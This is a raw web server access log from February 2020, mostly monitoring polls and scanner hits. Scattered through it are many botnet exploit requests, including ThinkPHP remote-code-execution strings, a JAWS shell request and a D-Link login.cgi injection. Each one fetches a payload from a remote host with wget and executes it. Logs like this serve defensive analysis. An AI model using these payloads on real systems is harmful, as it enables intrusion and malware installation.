88.200.117.119 - - [03/Feb/2020:22:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.113.229.128 - - [03/Feb/2020:22:31:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [03/Feb/2020:22:32:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:22:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.18.239 - - [03/Feb/2020:22:36:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.88.83.87 - - [03/Feb/2020:22:36:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.47.40.230 - - [03/Feb/2020:22:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:22:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [03/Feb/2020:22:42:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [03/Feb/2020:22:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.131.123 - - [03/Feb/2020:22:44:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.235.146.76 - - [03/Feb/2020:22:46:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.110.25 - - [03/Feb/2020:22:48:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.177.83 - - [03/Feb/2020:22:48:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
136.32.84.131 - - [03/Feb/2020:22:52:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:22:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.183.176.13 - - [03/Feb/2020:22:55:08 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [03/Feb/2020:22:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:22:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.37.210 - - [03/Feb/2020:23:00:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
59.191.145.11 - - [03/Feb/2020:23:01:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.132.94 - - [03/Feb/2020:23:04:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.57.249.161 - - [03/Feb/2020:23:05:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.97.34 - - [03/Feb/2020:23:06:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.253.197.154 - - [03/Feb/2020:23:06:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.157.226.23 - - [03/Feb/2020:23:08:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:23:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.148.67.62 - - [03/Feb/2020:23:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.51.28.234 - - [03/Feb/2020:23:10:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.81 - - [03/Feb/2020:23:12:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [03/Feb/2020:23:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
1.53.177.26 - - [03/Feb/2020:23:12:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.135.77.199 - - [03/Feb/2020:23:13:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:23:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.116.201.222 - - [03/Feb/2020:23:13:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.119.197 - - [03/Feb/2020:23:14:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [03/Feb/2020:23:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.154.130.188 - - [03/Feb/2020:23:15:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [03/Feb/2020:23:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.162.158.20 - - [03/Feb/2020:23:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:23:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.58.188 - - [03/Feb/2020:23:19:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.42.195.84 - - [03/Feb/2020:23:20:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.77.138.141 - - [03/Feb/2020:23:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [03/Feb/2020:23:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.26.60 - - [03/Feb/2020:23:27:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.202.77.230 - - [03/Feb/2020:23:27:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.170.31 - - [03/Feb/2020:23:27:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.173.147.136 - - [03/Feb/2020:23:27:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
62.173.147.136 - - [03/Feb/2020:23:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [03/Feb/2020:23:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.173.147.136 - - [03/Feb/2020:23:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
112.72.79.188 - - [03/Feb/2020:23:28:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.170.121.218 - - [03/Feb/2020:23:28:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.78.180.119 - - [03/Feb/2020:23:30:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:23:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.179.15.101 - - [03/Feb/2020:23:32:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.213.65.155 - - [03/Feb/2020:23:35:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.193.192 - - [03/Feb/2020:23:36:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.33.85 - - [03/Feb/2020:23:36:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [03/Feb/2020:23:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.59.47.44 - - [03/Feb/2020:23:38:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.154.162 - - [03/Feb/2020:23:40:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [03/Feb/2020:23:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [03/Feb/2020:23:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
